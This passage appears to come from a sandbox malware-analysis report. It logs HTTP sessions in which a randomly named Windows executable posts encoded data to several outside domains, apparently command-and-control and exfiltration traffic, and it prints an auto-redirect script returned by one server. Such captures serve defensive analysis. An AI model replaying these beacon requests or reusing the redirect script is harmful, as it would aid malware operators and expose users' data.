Nov 6, 2024 15:24:23.916006088 CET	1775	OUT	POST /gt2u/ HTTP/1.1 Host: www.86350.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 1227 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.86350.xyz Referer: http://www.86350.xyz/gt2u/ User-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1 Data Raw: 70 50 3d 33 36 72 46 76 46 6f 68 44 58 39 77 51 46 54 79 2b 54 71 37 45 64 68 59 47 4e 55 61 77 44 6d 42 2b 49 34 43 6d 63 55 48 6b 53 31 71 30 51 38 65 52 65 74 75 6b 77 31 77 66 54 71 56 37 35 51 4f 30 66 70 4b 45 36 33 4e 37 69 73 5a 2f 6d 2f 35 6d 31 55 56 41 79 68 49 54 47 35 67 54 72 69 73 54 36 6a 57 6a 44 67 6d 67 6d 50 4b 65 39 48 39 67 71 4e 43 39 65 31 34 2f 31 65 56 4a 38 6a 58 2b 30 31 34 4f 72 42 2f 71 57 46 50 6f 76 6e 79 39 6d 2f 2f 70 65 6f 34 58 55 41 2b 38 54 6d 39 79 7a 70 75 45 7a 57 37 51 54 61 45 69 70 5a 4c 61 43 62 46 53 6d 4b 5a 52 61 63 4c 50 48 79 62 79 4e 58 63 55 64 55 4a 43 62 2f 4c 6c 5a 39 6a 6a 42 38 74 74 30 66 48 4c 62 58 63 6d 2f 51 6f 70 74 6d 68 58 2b 56 62 2b 46 77 31 6f 73 66 34 61 63 55 6e 64 56 38 39 33 53 51 34 43 52 77 70 45 66 4e 39 31 46 61 55 6f 38 49 4c 63 76 6d 68 51 6c 77 41 41 55 66 2b 79 74 50 2f 77 65 75 78 55 74 33 68 79 75 78 64 74 59 7a 4b 74 53 4e 63 62 30 6e 43 5a 6a 71 52 4d 73 43 4a 57 61 64 52 6a 5a 33 37 44 4b 51 36 2b 57 35 33 31 62 68 [TRUNCATED] Data Ascii: pP=36rFvFohDX9wQFTy+Tq7EdhYGNUawDmB+I4CmcUHkS1q0Q8eRetukw1wfTqV75QO0fpKE63N7isZ/m/5m1UVAyhITG5gTrisT6jWjDgmgmPKe9H9gqNC9e14/1eVJ8jX+014OrB/qWFPovny9m//peo4XUA+8Tm9yzpuEzW7QTaEipZLaCbFSmKZRacLPHybyNXcUdUJCb/LlZ9jjB8tt0fHLbXcm/QoptmhX+Vb+Fw1osf4acUndV893SQ4CRwpEfN91FaUo8ILcvmhQlwAAUf+ytP/weuxUt3hyuxdtYzKtSNcb0nCZjqRMsCJWadRjZ37DKQ6+W531bhFSrbKu3x9cTu8xyuyOiIOs6QvgrmjY4XT60bXP4OUG9KG6n6nJ5SbCdRZAG7+Zd0Wx9uDH5XEPuejaGCDocmF7IS5TeUVn3NXoNToGFriAgpXiW0UX1oxIy4glieRCR+mKuAMP4yZNXfXwiSKgKiwgKVfOqwtqFDJt7UIHk0URVsasxaI9kHHKe5b3ONhyexk1VOdxSIfpIhuQ9/Edz365o+yxOl1l1DUWqSs5qqylRCbLGdpODVhvbrRXWGZisBXtv60scDWmxzXkitGG3KNGzjL2fakIndpjv0YwFeKZAJmhmVhlzGaF4UkPGngUCWl4PFmj1r4buUFYPwTO0uJ6SgdhEzUm6PCQGMGG2ZhldKgWpKtdH4qcVbqSOv1XKozdchy3Q2JfgtmcAvCv6KzEn09tQN22yXKLMJUJggCh6dS+YFZ79KsOTlf6S3SYqc6PDp4dWbZNPhaIXDjJwY1ESjiIx2OEA6efi2YvK9dxtwbwD7flqISsEC4P15RuNF3WU7im7ypqt88S1wpmP2JVCcBMbElZoVjP808nkZTqwqKk3WDWD674eZzmCZhPGFd+p+q6+nVW67uB035G+13YiasCNqX/5q+4tg3VPjlqgieT7knxb/ZIfI2kdv/sWcwuyYkteknOVbUOlJju6qdrK004cbc0qf22 [TRUNCATED]
Nov 6, 2024 15:24:24.458210945 CET	557	IN	HTTP/1.0 200 OK Connection: close Cache-Control: max-age=259200 Content-Type: text/html;charset=utf-8 Content-Length: 428 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 61 20 68 72 65 66 3d 22 22 20 69 64 3d 22 68 61 6f 31 32 33 22 3e 3c 2f 61 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 73 74 72 55 3d 22 68 74 74 70 73 3a 2f 2f 68 74 74 70 2e 67 6e 33 30 31 2e 63 6f 6d 3a 31 32 33 34 35 2f 3f 75 3d 22 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2b 22 26 70 3d 22 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 70 61 74 68 6e 61 6d 65 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 3b 68 61 6f 31 32 33 2e 68 72 65 66 3d 73 74 72 55 3b 69 66 28 64 6f 63 75 6d 65 6e 74 2e 61 6c 6c 29 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 68 61 6f 31 32 33 22 29 2e 63 6c 69 63 6b 28 29 3b 7d 65 6c 73 65 20 7b 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 4d 6f 75 73 65 45 76 65 6e 74 73 22 29 3b 65 2e 69 6e 69 74 45 76 65 6e 74 28 22 63 6c 69 [TRUNCATED] Data Ascii: <html><head></head><body><a href="" id="hao123"></a><script type="text/javascript">var strU="https://http.gn301.com:12345/?u="+window.location+"&p="+window.location.pathname+window.location.search;hao123.href=strU;if(document.all){document.getElementById("hao123").click();}else {var e=document.createEvent("MouseEvents");e.initEvent("click",true,true);document.getElementById("hao123").dispatchEvent(e);}</script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49714	107.148.177.200	80	4044	C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 15:24:26.458911896 CET	485	OUT	GET /gt2u/?pP=64DlsxQ3SwxSaFXN/Gelffo4GItR2nzYmJJKlop1lDh0+CceceZf5BJEIg7a0JU2nfZgMrDljQ9Fj1jXkjZ0KDVSaDY+B5GMW6Ca+EEpuxPnbLuvhg==&UJO=A6MH4FUp HTTP/1.1 Host: www.86350.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1
Nov 6, 2024 15:24:27.005317926 CET	557	IN	HTTP/1.0 200 OK Connection: close Cache-Control: max-age=259200 Content-Type: text/html;charset=utf-8 Content-Length: 428 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 61 20 68 72 65 66 3d 22 22 20 69 64 3d 22 68 61 6f 31 32 33 22 3e 3c 2f 61 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 73 74 72 55 3d 22 68 74 74 70 73 3a 2f 2f 68 74 74 70 2e 67 6e 33 30 31 2e 63 6f 6d 3a 31 32 33 34 35 2f 3f 75 3d 22 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2b 22 26 70 3d 22 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 70 61 74 68 6e 61 6d 65 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 3b 68 61 6f 31 32 33 2e 68 72 65 66 3d 73 74 72 55 3b 69 66 28 64 6f 63 75 6d 65 6e 74 2e 61 6c 6c 29 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 68 61 6f 31 32 33 22 29 2e 63 6c 69 63 6b 28 29 3b 7d 65 6c 73 65 20 7b 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 4d 6f 75 73 65 45 76 65 6e 74 73 22 29 3b 65 2e 69 6e 69 74 45 76 65 6e 74 28 22 63 6c 69 [TRUNCATED] Data Ascii: <html><head></head><body><a href="" id="hao123"></a><script type="text/javascript">var strU="https://http.gn301.com:12345/?u="+window.location+"&p="+window.location.pathname+window.location.search;hao123.href=strU;if(document.all){document.getElementById("hao123").click();}else {var e=document.createEvent("MouseEvents");e.initEvent("click",true,true);document.getElementById("hao123").dispatchEvent(e);}</script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49715	114.134.188.182	80	4044	C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 15:24:32.369950056 CET	741	OUT	POST /tkld/ HTTP/1.1 Host: www.cctv9.rest Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 191 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.cctv9.rest Referer: http://www.cctv9.rest/tkld/ User-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1 Data Raw: 70 50 3d 6f 50 64 33 5a 31 72 63 43 70 52 31 43 4f 57 4b 2f 49 46 6a 65 47 49 59 39 4b 30 76 78 64 72 45 75 33 30 45 4f 48 58 5a 72 64 51 4f 76 75 34 64 77 65 2f 62 4e 4a 77 50 78 47 73 4c 4e 4c 2f 4e 42 51 53 70 62 63 77 4b 76 72 43 6a 65 41 62 4f 56 61 50 31 37 55 45 35 31 62 30 6e 36 50 4e 4e 67 44 51 35 6c 41 46 55 4a 75 66 6c 31 67 57 32 6f 5a 4e 4a 4b 32 65 73 77 76 56 76 74 70 77 4a 56 4a 74 38 6e 72 67 4f 68 5a 68 72 47 5a 65 72 65 74 6b 63 64 51 37 2b 78 6f 4f 39 44 51 33 51 48 79 72 45 6a 6f 51 6b 51 6c 5a 76 69 65 68 54 67 39 52 77 52 69 30 30 33 37 45 34 Data Ascii: pP=oPd3Z1rcCpR1COWK/IFjeGIY9K0vxdrEu30EOHXZrdQOvu4dwe/bNJwPxGsLNL/NBQSpbcwKvrCjeAbOVaP17UE51b0n6PNNgDQ5lAFUJufl1gW2oZNJK2eswvVvtpwJVJt8nrgOhZhrGZeretkcdQ7+xoO9DQ3QHyrEjoQkQlZviehTg9RwRi0037E4
Nov 6, 2024 15:24:33.356750011 CET	720	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 06 Nov 2024 14:24:33 GMT Content-Type: text/html; charset=utf-8 Content-Length: 555 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.26.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49716	114.134.188.182	80	4044	C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 15:24:35.103806973 CET	765	OUT	POST /tkld/ HTTP/1.1 Host: www.cctv9.rest Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 215 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.cctv9.rest Referer: http://www.cctv9.rest/tkld/ User-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1 Data Raw: 70 50 3d 6f 50 64 33 5a 31 72 63 43 70 52 31 41 75 6d 4b 39 76 5a 6a 59 6d 49 66 7a 71 30 76 2b 39 71 73 75 33 34 45 4f 44 6d 42 72 6f 67 4f 71 2f 6b 64 78 66 2f 62 41 70 77 50 35 6d 73 4f 4a 4c 2f 38 42 58 61 62 62 5a 49 4b 76 71 69 6a 65 42 72 4f 56 70 6e 79 36 45 45 42 35 37 30 68 30 76 4e 4e 67 44 51 35 6c 41 52 75 4a 75 58 6c 30 52 6d 32 6f 36 56 47 4a 32 65 76 33 76 56 76 6d 4a 77 4e 56 4a 74 4b 6e 76 70 72 68 62 5a 72 47 59 75 72 51 66 63 44 49 67 37 30 73 34 50 31 44 6a 57 55 47 46 33 4b 39 4c 30 74 4f 6d 4d 50 6f 66 42 4e 78 50 59 72 45 31 30 54 77 63 4e 51 79 6f 7a 55 7a 4c 43 32 66 78 32 4f 4f 57 43 4c 42 2b 53 64 59 67 3d 3d Data Ascii: pP=oPd3Z1rcCpR1AumK9vZjYmIfzq0v+9qsu34EODmBrogOq/kdxf/bApwP5msOJL/8BXabbZIKvqijeBrOVpny6EEB570h0vNNgDQ5lARuJuXl0Rm2o6VGJ2ev3vVvmJwNVJtKnvprhbZrGYurQfcDIg70s4P1DjWUGF3K9L0tOmMPofBNxPYrE10TwcNQyozUzLC2fx2OOWCLB+SdYg==
Nov 6, 2024 15:24:36.084244013 CET	720	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 06 Nov 2024 14:24:35 GMT Content-Type: text/html; charset=utf-8 Content-Length: 555 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.26.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49718	114.134.188.182	80	4044	C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 15:24:37.653387070 CET	1778	OUT	POST /tkld/ HTTP/1.1 Host: www.cctv9.rest Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 1227 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.cctv9.rest Referer: http://www.cctv9.rest/tkld/ User-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1 Data Raw: 70 50 3d 6f 50 64 33 5a 31 72 63 43 70 52 31 41 75 6d 4b 39 76 5a 6a 59 6d 49 66 7a 71 30 76 2b 39 71 73 75 33 34 45 4f 44 6d 42 72 6f 6f 4f 71 74 73 64 77 38 58 62 42 70 77 50 7a 47 73 50 4a 4c 2f 68 42 52 7a 53 62 59 31 78 76 76 6d 6a 64 6e 58 4f 52 73 54 79 30 45 45 42 33 72 30 6b 36 50 4e 59 67 44 41 39 6c 41 42 75 4a 75 58 6c 30 53 4f 32 75 70 4e 47 46 57 65 73 77 76 55 75 74 70 77 70 56 4b 64 61 6e 76 6c 56 68 76 6c 72 46 34 2b 72 53 73 6b 44 4b 41 37 36 74 34 4f 7a 44 6a 61 62 47 42 58 47 39 4b 42 43 4f 6d 30 50 71 72 30 73 6f 50 56 31 66 6e 55 47 6c 61 45 30 2b 6f 54 33 2f 37 79 77 44 6a 44 75 65 47 48 38 49 36 44 30 4c 2b 4c 51 65 50 41 54 53 6c 59 36 2b 56 71 65 74 4b 6e 45 66 79 52 79 4f 51 36 58 33 4a 36 70 75 6f 2f 2f 46 57 2f 34 43 30 31 6c 4b 31 6e 72 67 45 69 75 4d 6e 61 57 32 55 6a 59 63 35 58 34 72 69 31 45 4a 41 48 58 5a 4f 38 48 62 69 65 4d 43 7a 4b 58 4f 52 76 66 71 5a 5a 43 72 4f 31 47 43 6f 52 54 67 56 65 51 37 4a 49 41 37 72 47 4f 4d 32 58 6e 65 72 37 54 2b 78 47 74 47 33 52 [TRUNCATED] Data Ascii: pP=oPd3Z1rcCpR1AumK9vZjYmIfzq0v+9qsu34EODmBrooOqtsdw8XbBpwPzGsPJL/hBRzSbY1xvvmjdnXORsTy0EEB3r0k6PNYgDA9lABuJuXl0SO2upNGFWeswvUutpwpVKdanvlVhvlrF4+rSskDKA76t4OzDjabGBXG9KBCOm0Pqr0soPV1fnUGlaE0+oT3/7ywDjDueGH8I6D0L+LQePATSlY6+VqetKnEfyRyOQ6X3J6puo//FW/4C01lK1nrgEiuMnaW2UjYc5X4ri1EJAHXZO8HbieMCzKXORvfqZZCrO1GCoRTgVeQ7JIA7rGOM2Xner7T+xGtG3RLko0Pyk758OKnrDFp+6CqbXWtNXDiJTdj0of61uonj+gsw6EUwQ9COVvErGM/KPNMCc/1bsu1T9ha3PLuOZ129EKATXd0dyOPEIo+lVvliZgmrLTexjV1D3zN8Cs0mtuN/hHG+a/PDdop7/ZP/zXOlCSQr5nwWXShvMBfvY6ZBjhdvv++8mE/JbibwtqQ3QFJwr0g676ykEwFJXvYRdHrnXhppxTiMMF+0N8n3FzuLvnfO0jB7JSQy4uutRruy5oPBP3xRmku6M5CbEmL2ailFIigsTJou3d/50ny5XoO+5nCY8SBg9e6GSBuilDPZunAjnDI8qvLI4sbKXWvIVbOaOgficAQm04Uf3xRotiinAE2DbTqhl/V8QHmP2jHNTwjdAPyY0RCmy+HvfuGyYcYHWW34girW/i9HlX4f6kH8qJEWc97edMLCoB8ZfzI8f6/jOA+ETNik8oKq5kQsXiXPr80iKORWpdgpQ+GefsNObjDUKowNXBpKVGNzf89wcHuifwBdic0jSrlPg89sJJi7/9IiZw1Rh/dDd50AnXOVOcOKoYdLLZ6uvDZn8ecDviH8btr9L0xZT3zjm6dc9LzopfiJ61N1eVM+uahoCPImeNh/fcMoq26ApSWtizQmDlQgliODWVvlsB2EveBkVrLxNSarQvDuVQNX [TRUNCATED]
Nov 6, 2024 15:24:38.662420988 CET	720	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 06 Nov 2024 14:24:38 GMT Content-Type: text/html; charset=utf-8 Content-Length: 555 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.26.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.9	49720	114.134.188.182	80	4044	C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 15:24:40.193202019 CET	486	OUT	GET /tkld/?pP=lN1XaBnjYJpnHJKh+dUgGl9J1dVl/InvxEIaS2ex1IsP6d0M7u7lW/cxrBhQKPDqRUitZ68i9deVdhSWVcPS8XgZ9KQJuNNzg3RG5Tpue4Xs0jPlyg==&UJO=A6MH4FUp HTTP/1.1 Host: www.cctv9.rest Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1
Nov 6, 2024 15:24:41.206465960 CET	720	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 06 Nov 2024 14:24:41 GMT Content-Type: text/html; charset=utf-8 Content-Length: 555 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.26.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.9	49722	3.33.130.190	80	4044	C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 15:24:46.863727093 CET	759	OUT	POST /g7n9/ HTTP/1.1 Host: www.ninesquare.games Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 191 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.ninesquare.games Referer: http://www.ninesquare.games/g7n9/ User-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1 Data Raw: 70 50 3d 67 47 42 6f 4c 4c 57 35 4e 4f 50 70 53 2f 48 53 71 6c 30 45 34 56 78 65 7a 35 4b 44 5a 37 5a 64 35 32 62 53 32 55 75 4c 78 37 51 65 4e 65 47 4a 44 74 32 6d 45 39 4d 4f 37 52 4c 4b 37 53 42 66 31 2b 49 4e 65 46 66 49 4b 4a 53 56 49 67 69 4b 76 51 71 75 5a 77 73 50 72 4e 69 2f 78 77 2b 48 75 33 55 56 4f 6b 61 72 6d 73 66 77 55 64 67 4d 41 63 33 33 52 72 36 57 41 33 48 45 56 4e 4a 64 51 53 69 59 61 74 4b 71 47 62 53 45 48 68 64 52 55 6a 78 4f 4f 74 4e 65 2f 4b 